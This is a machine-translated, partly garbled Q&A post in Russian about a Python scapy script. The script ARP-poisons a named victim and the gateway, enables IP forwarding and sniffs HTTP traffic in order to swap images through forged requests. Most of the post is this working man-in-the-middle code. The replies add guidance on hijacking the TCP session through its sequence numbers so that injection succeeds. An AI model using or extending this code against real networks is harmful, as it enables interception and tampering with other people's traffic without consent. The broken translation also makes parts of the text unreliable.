краткое объяснение того, что я пытаюсь сделать :)Python scapy нюхают ЗАМЕНА изображения
Я хочу, чтобы заменить каждое изображение внутри HTTP-трафика с одной конкретной.
Я начинаю с спуфинга arp, чтобы попасть в трафик. Затем я проверяю, содержит ли пакет http-необработанные данные. Если это так, я проверю, является ли запрос образным запросом. Если это запрос изображения, я пытаюсь заменить этот запрос своим.
Вот мой код:
#!/usr/bin/python
from scapy.all import *
import threading
import os
# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
while True :
try:
send(VictimPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
while True:
try:
send(GatewayPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
def TCPHttpExtract(pkt):
if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):
#This packet should be sent by every image request
OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost: www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"
StringJPG=""
StringPNG=""
StringGIF=""
StringPacket=""
liste=[]
for line in pkt.getlayer(Raw) :
liste.append(line)
#Check if the requests contains an *.jpg, *.png, *.gif
#Just check JPG - rest will be implemented later on
StringPacket=re.findall('(\s\/.*?\s)', str(liste))
StringJPG=re.findall('.*\.jpg', str(StringPacket))
StringPNG=re.findall('.*\.png', str(StringPacket))
StringGIF=re.findall('.*\.gif', str(StringPacket))
if(StringJPG):
send(OwnPacket)
#Forward packets
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
print "\n----------------------------------------"
VictimIP = raw_input("Victim-IP: ")
GatewayIP = raw_input("Gateway-IP: ")
IFACE = raw_input("Interface: ")
print "-----------------------------------------\n"
VictimThread = []
GatewayThread = []
print "Start poisoning the Victim ... \n"
while True:
try:
# VictimThread
VicPoison = threading.Thread(target=VictimPoisoning)
VicPoison.setDaemon(True)
VictimThread.append(VicPoison)
VicPoison.start()
# GatewayThread
GWayPoison = threading.Thread(target=GatewayPoisoning)
GWayPoison.setDaemon(True)
GatewayThread.append(GWayPoison)
GWayPoison.start()
pkt=sniff(iface=IFACE, prn=TCPHttpExtract)
# Cancel with STRG+C
except KeyboardInterupt:
sys.exit(1)
КТ подмена работает, а также регулярное выражение изображения и отправка пакета, но браузер выиграл изменение т/получить это изображение. Нужно ли сначала уничтожить исходный пакет? Я не хочу использовать ettercap, я хочу сделать это с помощью python здесь:
* Извините за это плохое формирование.
Спасибо вам всем за помощь! :)
Для этого вам нужно перехватить трафик, идущий на хост, изменить его и отправить измененный трафик на хост. Это означает, что вам понадобятся два интерфейса Ethernet: один, который открыт для шлюза, и тот, который изолирован. Вы будете слушать интерфейс шлюза, а затем пересылать пакеты в изолированный интерфейс. –
Кроме того, вы не можете просто отправить случайный пакет с соответствующим уровнем протокола HTTP. Браузер взаимодействует с удаленным хостом через установленный сеанс TCP. Вы должны захватить эту конкретную сессию. Вы захотите перехватить TCP-трафик сразу после трехстороннего рукопожатия, чтобы вы могли захватить соответствующие порядковые номера и перейти оттуда. –
Спасибо за это объяснение, и это должно было быть ясным для меня :) Я попробую настроить другой интерфейс. Спасибо :) – user3325230